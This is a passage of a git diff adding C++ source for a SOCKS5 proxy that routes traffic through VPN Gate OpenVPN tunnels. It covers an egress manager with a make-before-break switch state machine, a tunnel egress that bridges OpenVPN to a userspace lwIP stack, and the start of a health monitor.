{ + asio::post(strand_, [this, on_done = std::move(on_done)]() mutable { + if (shutting_down_) { + if (on_done) asio::post(io_, std::move(on_done)); + return; + } + shutting_down_ = true; + drain_timer_.cancel(); + finish_start(make_error_code(Error::Cancelled), "shutting down"); + + std::vector all; + { + std::lock_guard lk(mu_); + if (active_) all.push_back(std::move(active_)); + active_.reset(); + for (auto &d : draining_) all.push_back(std::move(d.egress)); + draining_.clear(); + phase_ = SwitchPhase::Idle; + m_draining()->set(0); + } + if (pending_) all.push_back(std::move(pending_)); + pending_.reset(); + + LOG_INFO(kMod, "shutting down {} egress(es)", all.size()); + if (all.empty()) { + if (on_done) asio::post(io_, std::move(on_done)); + return; + } + // Every egress must report done before the caller may stop the io_context; + // a tunnel that is still tearing down needs its handlers to keep running. + auto remaining = std::make_shared>(all.size()); + auto done = std::make_shared>(std::move(on_done)); + for (const auto &e : all) { + e->shutdown([this, remaining, done, e]() { + if (remaining->fetch_sub(1) == 1 && *done) { + asio::post(io_, *done); + } + }); + } + }); +} + +EgressManager::Status EgressManager::status() const { + Status s; + EgressPtr active; + { + std::lock_guard lk(mu_); + s.phase = phase_; + active = active_; + s.draining = draining_.size(); + s.switches = switches_; + s.switch_failures = switch_failures_; + s.last_reason = last_reason_; + s.candidate = candidate_node_; + if (last_switch_ != Clock::time_point{}) s.ms_since_switch = ms_since(last_switch_); + const auto now = Clock::now(); + if (backoff_until_ > now) { + s.backoff_ms = + std::chrono::duration_cast(backoff_until_ - now).count(); + } + } + if (active) { + s.active_node = active->label(); + s.active_state = active->state(); + s.active_detail = active->detail(); + } + return s; +} + +std::vector EgressManager::draining_stats() const { + std::vector copies; + { + std::lock_guard lk(mu_); + copies.reserve(draining_.size()); + for (const auto &d : draining_) copies.push_back(d.egress); + } + std::vector out; + out.reserve(copies.size()); + // stats() outside the lock: it reaches into the netstack, and holding mu_ + // across that would put the accept path behind the tunnel's own mutex. + for (const auto &e : copies) out.push_back(e->stats()); + return out; +} + +} // namespace ovg::egress diff --git a/src/egress/egress_manager.h b/src/egress/egress_manager.h new file mode 100644 index 0000000..d65c052 --- /dev/null +++ b/src/egress/egress_manager.h @@ -0,0 +1,258 @@ +// Owns the active egress and runs the switch. +// +// --------------------------------------------------------------------------- +// The one rule +// --------------------------------------------------------------------------- +// `acquire()` hands out a shared_ptr. A session holds it for its whole life. +// Promotion replaces the pointer the manager stores; it does not touch anyone +// who already has one. That single rule is the whole make-before-break design +// (docs/ARCHITECTURE.md §5.2) and the reason there is no session registry here: +// use_count() *is* the number of sessions still on an egress, so a drain is +// finished exactly when the last reference goes away, and it cannot be leaked, +// double-counted, or forgotten. +// +// --------------------------------------------------------------------------- +// The switch, end to end +// --------------------------------------------------------------------------- +// Idle -> Selecting -> Connecting -> Promoting -> Draining -> Idle +// +// Selecting ask the selector for candidates, minus the incumbent and +// anything already draining +// Connecting bring the new tunnel *all the way up* while the old one keeps +// serving. A failure here costs nothing: the old egress was never +// touched. The candidate is penalised and we back off. +// Promoting swap the pointer. New sessions land on the new egress from the +// next acquire(). +// Draining the old egress serves its remaining sessions for at most +// `drain_grace`, then is force-closed. +// +// --------------------------------------------------------------------------- +// Where the requirement cannot be met, and what happens instead +// --------------------------------------------------------------------------- +// "Existing SOCKS5 TCP connections should be kept if possible; if not, drop +// them all." Two cases genuinely cannot be kept, and both degrade explicitly: +// +// * A session that has already moved bytes carries TCP state -- sequence +// numbers, a half-written request, a partially-read response -- that cannot +// be reproduced on a new path. Those sessions drain on the old egress and +// are closed when the grace window expires. A session that has moved *no* +// bytes has no such state, and SwitchConfig::retry_zero_progress lets the +// SOCKS5 layer re-dial it on the new egress transparently. +// * Two tunnels that push the same private address are indistinguishable to +// lwIP (netstack/lwip_stack.h), so the second netif is refused. Then there +// is no make-before-break to be had: the manager falls back to a hard +// switch, which is the requirement's own stated fallback. +// +// --------------------------------------------------------------------------- +// Threading +// --------------------------------------------------------------------------- +// All state transitions run on an internal strand. acquire() and stats() are +// callable from any thread and take a short mutex; they are on the accept path, +// so they never block on a switch. +#pragma once + +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "common/strand_deleter.h" // ovg::Strand +#include "egress/egress.h" +#include "selector/history.h" +#include "selector/selector.h" +#include "vpngate/node.h" + +namespace ovg::netstack { +class Stack; +} + +namespace ovg::egress { + +enum class SwitchPhase { + Idle, + Selecting, + Connecting, + Promoting, + Draining, +}; +const char *switch_phase_name(SwitchPhase p); + +// Why a switch was asked for. Only used for logs and metrics, but "why did it +// switch at 3am" is the first question anyone asks. +enum class SwitchReason { + Startup, + Unhealthy, + BetterCandidate, + TunnelDown, + Manual, +}; +const char *switch_reason_name(SwitchReason r); + +struct DrainingEgress { + EgressPtr egress; + std::chrono::steady_clock::time_point deadline; + std::string node_id; +}; + +class EgressManager { + public: + // `stack` may be null in a build without the tunnel, or when egress_mode is + // "direct"; in that case the manager only ever produces a DirectEgress, and + // `selector`/`history` may be null too. + // + // `history` is written from here, not only from the selector: a node that + // probes well but cannot actually complete a tunnel handshake is exactly the + // node the backoff exists for, and only this class ever learns that. + EgressManager(asio::io_context &io, Config cfg, selector::Selector *selector, + selector::HistoryStore *history, netstack::Stack *stack); + ~EgressManager(); + + EgressManager(const EgressManager &) = delete; + EgressManager &operator=(const EgressManager &) = delete; + + // Runs when the first egress becomes usable, or when startup gives up. + using StartHandler = std::function; + + // Brings up the first egress. `on_ready` fires once. Retries internally with + // backoff, so an error here means the retry budget ran out, not that one node + // failed. + void start(StartHandler on_ready); + + // Stops everything: the active egress, every draining one, and any switch in + // flight. `on_done` runs once it is all gone. + void shutdown(std::function on_done = {}); + + // The egress a new session should use. Null before start() completes or after + // shutdown. Cheap: a mutex and a shared_ptr copy. + EgressPtr acquire() const; + + // Asks for a switch. Ignored (returns false) while one is already running, + // inside the anti-flap interval, or during backoff -- unless `force`, which + // the admin endpoint uses. + // + // There are four distinct ways to be declined and an operator staring at an + // admin response cannot act on any of them if they arrive as a bare false, so + // `why` (optional) is filled with the specific one. Do not collapse these back + // into a single message: "already switching" and "this build has no tunnel to + // switch to" call for opposite responses. + bool request_switch(SwitchReason reason, bool force = false, + std::string *why = nullptr); + + // Fires just before the active egress is replaced, on the manager's strand. + // The SOCKS5 layer uses it to re-home zero-progress sessions and UDP + // associations onto the new egress before the old one starts draining. + using PromoteHandler = + std::function; + void set_on_promote(PromoteHandler h); + + // Fires when a draining egress's grace window expires and whatever is left on + // it must be closed. The SOCKS5 layer force-closes those sessions; the egress + // itself is released here regardless. + using DrainExpiredHandler = std::function; + void set_on_drain_expired(DrainExpiredHandler h); + + // How a chosen node becomes a live egress. The default builds a TunnelEgress + // and starts it; the seam exists because the switch state machine is the most + // subtle code in the program and testing it against a volunteer-run VPN + // server in another country would test the weather, not the logic. + // + // Contract: `on_ready` is invoked exactly once, with no error when the + // returned egress is usable and with one when it never got there. Returning + // null means the node could not be started at all, and then `on_ready` is not + // invoked. + using NodeReadyHandler = + std::function; + using EgressFactory = std::function; + void set_egress_factory(EgressFactory f); + + struct Status { + SwitchPhase phase = SwitchPhase::Idle; + std::string active_node; + EgressState active_state = EgressState::Idle; + std::string active_detail; + size_t draining = 0; + uint64_t switches = 0; + uint64_t switch_failures = 0; + std::string last_reason; + int64_t ms_since_switch = -1; + int64_t backoff_ms = 0; + std::string candidate; // node currently being connected, if any + }; + Status status() const; + + std::vector draining_stats() const; + + private: + using Clock = std::chrono::steady_clock; + + using CandidateQueue = std::shared_ptr>; + + void begin_select(SwitchReason reason); + void on_candidates(SwitchReason reason, std::vector c); + void try_candidate(SwitchReason reason, CandidateQueue queue, size_t idx); + void candidate_failed(SwitchReason reason, CandidateQueue queue, size_t idx, + const std::error_code &ec, const std::string &detail); + void promote(SwitchReason reason, EgressPtr fresh, + const selector::Candidate *cand); + void fail_switch(SwitchReason reason, const std::string &why); + // Reschedules without recording a failure. For conditions that are not the + // node list's fault -- chiefly the directory not having arrived yet. + void retry_startup(SwitchReason reason, Millis delay, const std::string &why); + void arm_startup_poll(Millis delay); + // Idle/Draining -> Selecting, atomically. False means somebody else got there + // first and this caller must not start a second selection. + bool claim_switch_phase(); + void schedule_drain_sweep(); + void sweep_drains(); + void finish_start(const std::error_code &ec, const std::string &why); + // Hard switch: everything currently serving is closed at once. Used when + // make-before-break is impossible (address collision) or configured off. + void evict_all(const char *why); + void set_phase(SwitchPhase p); + bool beats_incumbent(const selector::Candidate &c) const; + std::vector excluded_ids() const; + EgressPtr make_direct(); + + asio::io_context &io_; + Config cfg_; + selector::Selector *selector_; + selector::HistoryStore *history_; + netstack::Stack *stack_; + Strand strand_; + asio::steady_timer drain_timer_; + EgressFactory factory_; + + // Strand-only. + EgressPtr pending_; // the egress being brought up, before promotion + size_t start_rounds_ = 0; + size_t directory_waits_ = 0; + StartHandler on_start_; + bool start_reported_ = false; + // Set when a candidate has already forced a hard switch this round, so the + // collision path retries exactly once instead of looping. + bool collision_forced_ = false; + bool shutting_down_ = false; + + mutable std::mutex mu_; // guards everything below + SwitchPhase phase_ = SwitchPhase::Idle; + EgressPtr active_; + std::vector draining_; + std::string candidate_node_; + uint64_t switches_ = 0; + uint64_t switch_failures_ = 0; + std::string last_reason_ = "-"; + Clock::time_point last_switch_{}; + Millis backoff_{0}; + Clock::time_point backoff_until_{}; + PromoteHandler on_promote_; + DrainExpiredHandler on_drain_expired_; +}; + +} // namespace ovg::egress diff --git a/src/egress/tunnel_egress.cpp b/src/egress/tunnel_egress.cpp new file mode 100644 index 0000000..df8a1b2 --- /dev/null +++ b/src/egress/tunnel_egress.cpp @@ -0,0 +1,505 @@ +#include "egress/tunnel_egress.h" + +#include +#include + +#include "common/error.h" +#include "common/logging.h" +#include "common/metrics.h" +#include "netstack/packet_link.h" + +namespace ovg::egress { +namespace { + +constexpr const char *kMod = "egress"; + +metrics::Counter *tunnels_started() { + static auto *c = metrics::counter("ovg_tunnel_egress_started_total", + "Tunnel egresses started"); + return c; +} +metrics::Counter *tunnels_ready() { + static auto *c = metrics::counter("ovg_tunnel_egress_ready_total", + "Tunnel egresses that reached Ready"); + return c; +} +metrics::Counter *tunnels_failed() { + static auto *c = metrics::counter("ovg_tunnel_egress_failed_total", + "Tunnel egresses that never reached Ready"); + return c; +} +metrics::Gauge *egresses_live() { + static auto *g = metrics::gauge("ovg_egress_live", + "Egress objects currently constructed"); + return g; +} + +} // namespace + +// --------------------------------------------------------------------------- +// PacketPipe -> PacketLink +// --------------------------------------------------------------------------- +// +// The entire coupling between OpenVPN and the TCP/IP stack, in one class. Note +// what is *not* here: no framing, no length prefixes, no reassembly. The pipe +// is SOCK_DGRAM, so one send is one IP packet and one receive is one IP packet +// (ovpn/packet_pipe.h). Anything more would mean the two sides had to agree on +// a wire format, and then they would be coupled for real. +class TunnelEgress::LinkAdapter final : public netstack::PacketLink { + public: + explicit LinkAdapter(ovpn::PacketPipe &pipe) : pipe_(pipe) {} + + bool send_packet(const void *data, size_t len) override { + return pipe_.send_packet(data, len) == ovpn::PacketPipe::SendStatus::Ok; + } + + void async_receive(asio::mutable_buffer buf, const asio::any_io_executor &ex, + RecvHandler h) override { + if (!pipe_.is_open()) { + asio::post(ex, [h = std::move(h)] { + h(make_error_code(Error::EgressGone), 0); + }); + return; + } + pipe_.socket().async_receive( + buf, asio::bind_executor( + ex, [this, h = std::move(h)](const std::error_code &ec, + size_t n) { + if (!ec) pipe_.note_received(n); + h(ec, n); + })); + } + + void cancel() override { + if (!pipe_.is_open()) return; + std::error_code ignored; + pipe_.socket().cancel(ignored); + } + + bool is_open() const override { return pipe_.is_open(); } + + size_t max_packet_size() const override { return ovpn::kMaxPacketSize; } + + private: + ovpn::PacketPipe &pipe_; +}; + +// --------------------------------------------------------------------------- +// Construction +// --------------------------------------------------------------------------- + +std::shared_ptr TunnelEgress::create(asio::io_context &io, + netstack::Stack &stack, + OvpnConfig ovpn_cfg) { + return std::shared_ptr( + new TunnelEgress(io, stack, std::move(ovpn_cfg))); +} + +TunnelEgress::TunnelEgress(asio::io_context &io, netstack::Stack &stack, + OvpnConfig ovpn_cfg) + : io_(io), + stack_(stack), + ovpn_cfg_(std::move(ovpn_cfg)), + created_(std::chrono::steady_clock::now()) { + egresses_live()->add(1); +} + +TunnelEgress::~TunnelEgress() { + egresses_live()->sub(1); + + // The reference count hitting zero is the drain completing (egress.h), so + // this is the normal end of a replaced egress rather than an error path. It + // is also the awkward one: teardown is ordered and asynchronous, and we are + // in a destructor, so there is nothing left to hang the continuation on. + // + // Hence the hand-off. The netif, the tunnel and the link adapter are all + // shared_ptr, and the teardown chain below carries them: this object goes + // away now, the three of them go away in the right order, later. The link in + // particular must outlive the netif's shutdown, because the netif holds it by + // reference (netstack/lwip_stack.h). + auto nif = std::move(netif_); + auto tun = std::move(tunnel_); + auto link = std::move(link_); + const std::string label = label_; + const int64_t age_ms = std::chrono::duration_cast( + std::chrono::steady_clock::now() - created_) + .count(); + + auto stop_tunnel = [tun, link, label, age_ms]() mutable { + auto done = [link, label, age_ms] { + LOG_INFO(kMod, "{}: egress torn down after {} ms", label, age_ms); + }; + if (tun) { + tun->stop(std::move(done)); + } else { + done(); + } + }; + + if (nif) { + // Netif first, tunnel second. The netif's receive loop reads from the pipe + // that stopping the tunnel closes, and its lwIP teardown still wants to + // send; the reverse order is a use-after-close. + nif->shutdown([nif, stop_tunnel]() mutable { stop_tunnel(); }); + } else { + stop_tunnel(); + } +} + +// --------------------------------------------------------------------------- +// Bring-up +// --------------------------------------------------------------------------- + +bool TunnelEgress::start(const vpngate::Node &node, + const vpngate::Remote &remote, ReadyHandler on_ready, + std::string *err) { + node_ = node; + remote_ = remote; + label_ = node.id(); + { + std::lock_guard lk(mu_); + on_ready_ = std::move(on_ready); + } + set_state(EgressState::Connecting, {}); + + tunnel_ = ovpn::TunnelClient::create(io_, ovpn_cfg_); + auto self = shared_from_this(); + const bool ok = tunnel_->start( + node, remote, + [self](ovpn::TunnelState st, const ovpn::TunnelInfo &info, + const std::string &detail) { + self->on_tunnel_state(st, info, detail); + }, + err); + if (!ok) { + tunnel_.reset(); + set_state(EgressState::Down, err ? *err : "profile unusable"); + finish_ready(make_error_code(Error::TunnelSetupFailed), + err ? *err : "profile unusable"); + return false; + } + + // Valid from here on: the socketpair exists before the worker starts, which + // is why the netstack never has to race the CONNECTED event. + link_ = std::make_shared(tunnel_->pipe()); + tunnels_started()->inc(); + LOG_INFO(kMod, "{}: connecting to {}:{}/{}", label_, remote.host, remote.port, + vpngate::proto_name(remote.proto)); + return true; +} + +void TunnelEgress::on_tunnel_state(ovpn::TunnelState st, + const ovpn::TunnelInfo &info, + const std::string &detail) { + switch (st) { + case ovpn::TunnelState::Up: { + { + std::lock_guard lk(mu_); + info_ = info; + if (netif_) return; // already attached; a re-Up after Reconnecting + } + if (!info.usable()) { + set_state(EgressState::Down, "server pushed no usable IPv4 config"); + finish_ready(make_error_code(Error::TunnelSetupFailed), + "server pushed no usable IPv4 config"); + return; + } + attach_netif(info); + break; + } + case ovpn::TunnelState::Reconnecting: + // The tun fd survives (tunPersist), so the netif and every PCB on it stay + // exactly as they are. Packets are dropped meanwhile, which TCP treats as + // congestion -- the correct behaviour, and the reason this is not a state + // change the layers above need to see. + LOG_INFO(kMod, "{}: tunnel reconnecting: {}", label_, detail); + break; + + case ovpn::TunnelState::Down: { + LOG_WARN(kMod, "{}: tunnel down: {}", label_, detail); + const bool was_ready = state() == EgressState::Ready; + set_state(EgressState::Down, detail); + // Aborts every live stream with Error::EgressGone rather than leaving + // them parked on a tunnel that is not coming back. + std::shared_ptr nif; + { + std::lock_guard lk(mu_); + nif = netif_; + } + if (nif) nif->shutdown(); + if (!was_ready) { + finish_ready(make_error_code(Error::TunnelSetupFailed), detail); + } + break; + } + + case ovpn::TunnelState::Connecting: + case ovpn::TunnelState::Idle: + break; + } +} + +void TunnelEgress::attach_netif(const ovpn::TunnelInfo &info) { + netstack::NetifConfig cfg; + if (auto a = IpAddress::parse(info.ipv4)) cfg.address = *a; + cfg.prefix = info.prefix4; + if (!info.gateway4.empty()) { + if (auto g = IpAddress::parse(info.gateway4)) cfg.gateway = *g; + } + cfg.mtu = info.mtu; + for (const auto &d : info.dns) { + // v6 servers are dropped rather than carried: lwIP here is v4-only, so a + // query sent to one would have nowhere to go (lwip_stack.h). + if (auto a = IpAddress::parse(d); a && a->is_v4()) cfg.dns.push_back(*a); + } + cfg.label = label_; + + auto self = shared_from_this(); + stack_.async_attach( + *link_, cfg, io_.get_executor(), + [self](const std::error_code &ec, std::shared_ptr nif) { + if (ec) { + const std::string why = + ec == make_error_code(Error::ResourceExhausted) + ? "tunnel address collides with a draining egress" + : ec.message(); + LOG_WARN(kMod, "{}: netif attach failed: {}", self->label_, why); + self->set_state(EgressState::Down, why); + if (self->tunnel_) self->tunnel_->stop(); + self->finish_ready(ec, why); + return; + } + { + std::lock_guard lk(self->mu_); + self->netif_ = std::move(nif); + } + self->ready_at_ = std::chrono::steady_clock::now(); + self->set_state(EgressState::Ready, {}); + tunnels_ready()->inc(); + LOG_INFO(kMod, "{}: egress ready ({} ms to bring up)", self->label_, + std::chrono::duration_cast( + self->ready_at_ - self->created_) + .count()); + self->finish_ready({}, {}); + }); +} + +void TunnelEgress::finish_ready(const std::error_code &ec, + const std::string &detail) { + ReadyHandler h; + { + std::lock_guard lk(mu_); + if (ready_reported_) return; + ready_reported_ = true; + h = std::move(on_ready_); + on_ready_ = nullptr; + } + if (ec) tunnels_failed()->inc(); + if (h) asio::post(io_, [h = std::move(h), ec, detail] { h(ec, detail); }); +} + +void TunnelEgress::set_state(EgressState s, const std::string &detail) { + std::lock_guard lk(mu_); + // Down is terminal. Without this, a late callback from the core could walk a + // dead egress back to Ready and the manager would hand it out again. + if (state_ == EgressState::Down) return; + state_ = s; + if (!detail.empty()) detail_ = detail; +} + +// --------------------------------------------------------------------------- +// Egress +// --------------------------------------------------------------------------- + +EgressState TunnelEgress::state() const { + std::lock_guard lk(mu_); + return state_; +} + +std::string TunnelEgress::detail() const { + std::lock_guard lk(mu_); + return detail_; +} + +ovpn::TunnelInfo TunnelEgress::tunnel_info() const { + std::lock_guard lk(mu_); + return info_; +} + +void TunnelEgress::async_connect_tcp(const asio::any_io_executor &ex, + const Endpoint &target, Millis timeout, + ConnectHandler h) { + std::shared_ptr nif; + EgressState st; + { + std::lock_guard lk(mu_); + nif = netif_; + st = state_; + } + if (st != EgressState::Ready || !nif) { + const auto ec = make_error_code(st == EgressState::Draining + ? Error::EgressDraining + : Error::NotConnected); + asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); }); + return; + } + + if (!target.is_domain()) { + nif->async_connect_tcp(target.address(), target.port(), timeout, ex, + std::move(h)); + return; + } + + // Resolve through this egress, so the lookup goes down the same tunnel the + // connection will. Doing it at the caller would leak the name to the host + // resolver, which is the exact failure this whole design is meant to avoid. + const uint16_t port = target.port(); + auto self = shared_from_this(); + async_resolve(ex, target.domain(), + [self, nif, port, timeout, ex, h = std::move(h)]( + const std::error_code &ec, + std::vector addrs) mutable { + if (ec || addrs.empty()) { + const auto fail = + ec ? ec : make_error_code(Error::ResolveFailed); + asio::post(ex, [h = std::move(h), fail]() mutable { + h(fail, nullptr); + }); + return; + } + nif->async_connect_tcp(addrs.front(), port, timeout, ex, + std::move(h)); + }); +} + +void TunnelEgress::async_bind_udp(const asio::any_io_executor &ex, + UdpBindHandler h) { + std::shared_ptr nif; + EgressState st; + { + std::lock_guard lk(mu_); + nif = netif_; + st = state_; + } + if (st != EgressState::Ready || !nif) { + const auto ec = make_error_code(st == EgressState::Draining + ? Error::EgressDraining + : Error::NotConnected); + asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); }); + return; + } + nif->async_open_udp(ex, std::move(h)); +} + +std::shared_ptr TunnelEgress::resolver() { + std::lock_guard lk(mu_); + if (resolver_) return resolver_; + if (!netif_) return nullptr; + // Held strongly here, unlike inside Netif (which holds it weakly to avoid a + // cycle): the egress is exactly the "for the tunnel's lifetime" owner that + // Netif::resolver() documents. + resolver_ = netif_->resolver(); + return resolver_; +} + +void TunnelEgress::async_resolve(const asio::any_io_executor &ex, + const std::string &host, ResolveHandler h) { + auto r = resolver(); + if (!r) { + asio::post(ex, [h = std::move(h)]() mutable { + h(make_error_code(Error::NotConnected), {}); + }); + return; + } + // The DNS resolver completes on its own strand, so hop to the caller's + // executor here rather than making every call site remember to. + r->async_resolve(host, [ex, h = std::move(h)](const std::error_code &ec, + std::vector a) mutable { + asio::post(ex, [h = std::move(h), ec, a = std::move(a)]() mutable { + h(ec, std::move(a)); + }); + }); +} + +EgressStats TunnelEgress::stats() const { + EgressStats s; + std::shared_ptr nif; + { + std::lock_guard lk(mu_); + nif = netif_; + s.server_ip = info_.server_ip; + s.local_address = info_.ipv4; + } + s.node_id = node_.id(); + s.node_country = node_.country_short; + s.proto = vpngate::proto_name(remote_.proto); + s.uptime_ms = std::chrono::duration_cast( + std::chrono::steady_clock::now() - created_) + .count(); + + if (tunnel_) { + const auto c = tunnel_->counters(); + s.tun_bytes_in = static_cast(std::max(c.tun_bytes_in, 0)); + s.tun_bytes_out = + static_cast(std::max(c.tun_bytes_out, 0)); + s.transport_bytes_in = + static_cast(std::max(c.transport_bytes_in, 0)); + s.transport_bytes_out = + static_cast(std::max(c.transport_bytes_out, 0)); + s.last_packet_received_ms = c.last_packet_received_ms; + } + if (nif) { + const auto n = nif->stats(); + s.tcp_opened = n.tcp_opened; + s.tcp_failed = n.tcp_failed; + s.tcp_active = n.tcp_active; + s.udp_active = n.udp_active; + s.rx_packets = n.rx_packets; + s.tx_packets = n.tx_packets; + s.tx_dropped = n.tx_dropped; + s.rx_malformed = n.rx_malformed; + s.rx_dropped = n.rx_dropped; + } + return s; +} + +void TunnelEgress::begin_drain() { + std::lock_guard lk(mu_); + if (state_ == EgressState::Ready) { + state_ = EgressState::Draining; + LOG_INFO(kMod, "{}: draining", label_); + } +} + +void TunnelEgress::shutdown(std::function on_done) { + set_state(EgressState::Down, "shutdown requested"); + + std::shared_ptr nif; + { + std::lock_guard lk(mu_); + nif = netif_; + resolver_.reset(); + } + + auto self = shared_from_this(); + auto stop_tunnel = [self, on_done = std::move(on_done)]() mutable { + if (!self->tunnel_) { + if (on_done) asio::post(self->io_, std::move(on_done)); + return; + } + self->tunnel_->stop(std::move(on_done)); + }; + + if (!nif) { + stop_tunnel(); + return; + } + // Netif first, tunnel second, and strictly in that order: the netif's receive + // loop reads from the pipe that TunnelClient::stop() closes, and its lwIP + // teardown still wants to send. Reversing this is a use-after-close. + nif->shutdown([stop_tunnel = std::move(stop_tunnel)]() mutable { + stop_tunnel(); + }); +} + +} // namespace ovg::egress diff --git a/src/egress/tunnel_egress.h b/src/egress/tunnel_egress.h new file mode 100644 index 0000000..b394da7 --- /dev/null +++ b/src/egress/tunnel_egress.h @@ -0,0 +1,141 @@ +// An OpenVPN session plus the userspace TCP/IP stack that rides on it. +// +// This is the file where the two halves of the program finally meet, and it is +// deliberately the only one. `ovpn` knows nothing about lwIP; `netstack` knows +// nothing about OpenVPN -- it takes a PacketLink (netstack/packet_link.h) and +// asks only that something hand it whole IP packets. The adapter that makes an +// ovpn::PacketPipe satisfy that interface lives in the .cpp and is about thirty +// lines. That thinness is the point: it is what keeps either side replaceable. +// +// --------------------------------------------------------------------------- +// Bring-up order +// --------------------------------------------------------------------------- +// 1. TunnelClient::start() opens the socketpair and launches the worker. The +// pipe is valid immediately, before the tunnel is up. +// 2. The worker reports Up with a TunnelInfo (address, prefix, DNS, MTU). +// 3. Only then do we attach a netif: lwIP cannot be given an address the +// server has not pushed yet, and guessing one would be worse than waiting. +// 4. The egress becomes Ready, and only from that moment does it accept work. +// +// Step 3 can fail with Error::ResourceExhausted when the pushed address +// collides with a netif that is still draining (lwip_stack.h explains why lwIP +// cannot tell two identical addresses apart). That is not a defect to route +// around here -- it is reported up to the switch controller, which downgrades +// the pending graceful switch to a hard one. +// +// --------------------------------------------------------------------------- +// What "Down" means +// --------------------------------------------------------------------------- +// openvpn3 reconnects on its own and keeps the tun fd across the gap +// (tunPersist), so a transient loss shows up as Reconnecting and the netif +// stays. We only go Down when the core gives up for good, and at that point +// every live stream is aborted with Error::EgressGone rather than left hanging +// on a tunnel that will not come back. +#pragma once + +#include + +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "egress/egress.h" +#include "netstack/lwip_stack.h" +#include "ovpn/tunnel_client.h" +#include "vpngate/node.h" + +namespace ovg::egress { + +class TunnelEgress final : public Egress, + public std::enable_shared_from_this { + public: + // Reports the egress reaching a terminal-ish state. Runs on `io`. + // ready -> usable; the switch controller may promote it + // !ready -> failed or died; `detail` says why, `ec` classifies it + using ReadyHandler = + std::function; + + // No timeout parameter: bring-up is bounded by OvpnConfig's + // tunnel_up_timeout_s, which TunnelClient already enforces. A second timer + // here would be a second policy for the same question, and the two would + // drift. + static std::shared_ptr create(asio::io_context &io, + netstack::Stack &stack, + OvpnConfig ovpn_cfg); + ~TunnelEgress() override; + + TunnelEgress(const TunnelEgress &) = delete; + TunnelEgress &operator=(const TunnelEgress &) = delete; + + // Starts the session and drives it to Ready. `on_ready` fires exactly once: + // with no error when the netif is up, or with one when the tunnel failed to + // come up, timed out, or could not be given a netif. Subsequent failures + // (the tunnel dying later) move the state to Down and are visible through + // state()/detail(); they do not re-invoke `on_ready`. + // + // Returns false without starting anything if the node's profile is unusable. + bool start(const vpngate::Node &node, const vpngate::Remote &remote, + ReadyHandler on_ready, std::string *err); + + // Egress + void async_connect_tcp(const asio::any_io_executor &ex, const Endpoint &target, + Millis timeout, ConnectHandler h) override; + void async_bind_udp(const asio::any_io_executor &ex, + UdpBindHandler h) override; + void async_resolve(const asio::any_io_executor &ex, const std::string &host, + ResolveHandler h) override; + EgressState state() const override; + EgressStats stats() const override; + std::string detail() const override; + void begin_drain() override; + void shutdown(std::function on_done = {}) override; + const std::string &label() const override { return label_; } + + // What the server pushed. Empty until Ready. + ovpn::TunnelInfo tunnel_info() const; + const vpngate::Node &node() const { return node_; } + + private: + class LinkAdapter; + + TunnelEgress(asio::io_context &io, netstack::Stack &stack, + OvpnConfig ovpn_cfg); + + void on_tunnel_state(ovpn::TunnelState st, const ovpn::TunnelInfo &info, + const std::string &detail); + void attach_netif(const ovpn::TunnelInfo &info); + void set_state(EgressState s, const std::string &detail); + void finish_ready(const std::error_code &ec, const std::string &detail); + std::shared_ptr resolver(); + + asio::io_context &io_; + netstack::Stack &stack_; + OvpnConfig ovpn_cfg_; + + std::string label_ = "(unstarted)"; + vpngate::Node node_; + vpngate::Remote remote_; + + std::shared_ptr tunnel_; + // shared_ptr, not unique_ptr: Stack::async_attach takes the link by reference + // and the Netif keeps that reference, so the link has to survive until the + // netif's shutdown has completed -- which is after this object is gone when + // the last session reference is what triggered the teardown. + std::shared_ptr link_; + std::shared_ptr netif_; + std::shared_ptr resolver_; + std::chrono::steady_clock::time_point created_; + std::chrono::steady_clock::time_point ready_at_{}; + + mutable std::mutex mu_; // guards state_, detail_, netif_, resolver_, info_ + EgressState state_ = EgressState::Idle; + std::string detail_; + ovpn::TunnelInfo info_; + ReadyHandler on_ready_; + bool ready_reported_ = false; +}; + +} // namespace ovg::egress diff --git a/src/health/health_monitor.cpp b/src/health/health_monitor.cpp new file mode 100644 index 0000000..eda4160 --- /dev/null +++ b/src/health/health_monitor.cpp @@ -0,0 +1,395 @@ +#include "health/health_monitor.h" + +#include +#include +#include + +#include "common/error.h" +#include "common/logging.h" +#include "common/metrics.h" + +namespace ovg::health { +namespace { + +constexpr const char *kMod = "health"; + +// How many samples to keep for /status. Twenty rounds at the default 15s is +// five minutes of history -- enough to see a degradation coming, small enough +// that nobody has to think about the memory. +constexpr size_t kHistoryDepth = 20; + +// RTT above this scores zero. Not a timeout: a 1.2s handshake through a +// volunteer tunnel is still usable, it just should not outrank a 40ms one. +constexpr double kRttFloorMs = 1000.0; + +// Term weights. See the header for why they are these and not others. +constexpr double kWRtt = 0.35; +constexpr double kWConnect = 0.30; +constexpr double kWStall = 0.20; +constexpr double kWLoss = 0.15; + +metrics::Gauge *g_score() { + static auto *g = metrics::gauge("ovg_health_score_milli", + "Egress health score x1000 (0..1000)"); + return g; +} +metrics::Gauge *g_rtt() { + static auto *g = + metrics::gauge("ovg_health_probe_rtt_ms", "In-tunnel probe RTT, ms"); + return g; +} +metrics::Counter *m_rounds() { + static auto *c = + metrics::counter("ovg_health_rounds_total", "Health sampling rounds"); + return c; +} +metrics::Counter *m_probe_failed() { + static auto *c = metrics::counter("ovg_health_probe_failed_total", + "Health probes that did not complete"); + return c; +} +metrics::Counter *m_unhealthy() { + static auto *c = + metrics::counter("ovg_health_unhealthy_total", + "Sustained unhealthy verdicts reported upstream"); + return c; +} + +double clamp01(double v) { return v < 0.0 ? 0.0 : (v > 1.0 ? 1.0 : v); } + +} // namespace + +HealthMonitor::HealthMonitor(asio::io_context &io, HealthConfig cfg, + EgressProvider acquire) + : io_(io), + cfg_(std::move(cfg)), + acquire_(std::move(acquire)), + strand_(asio::make_strand(io)), + timer_(strand_), + probe_timer_(strand_) {} + +HealthMonitor::~HealthMonitor() { stop(); } + +void HealthMonitor::set_on_unhealthy(UnhealthyHandler h) { + on_unhealthy_ = std::move(h); +} + +void HealthMonitor::start() { + if (running_.exchange(true, std::memory_order_acq_rel)) return; + LOG_INFO(kMod, "monitor started: every {}ms, probe {}:{} within {}ms, " + "unhealthy after {} consecutive windows below {:.2f}", + cfg_.interval.count(), cfg_.probe_domain, cfg_.probe_port, + cfg_.probe_timeout.count(), cfg_.unhealthy_windows, cfg_.min_score); + asio::post(strand_, [this] { arm(); }); +} + +void 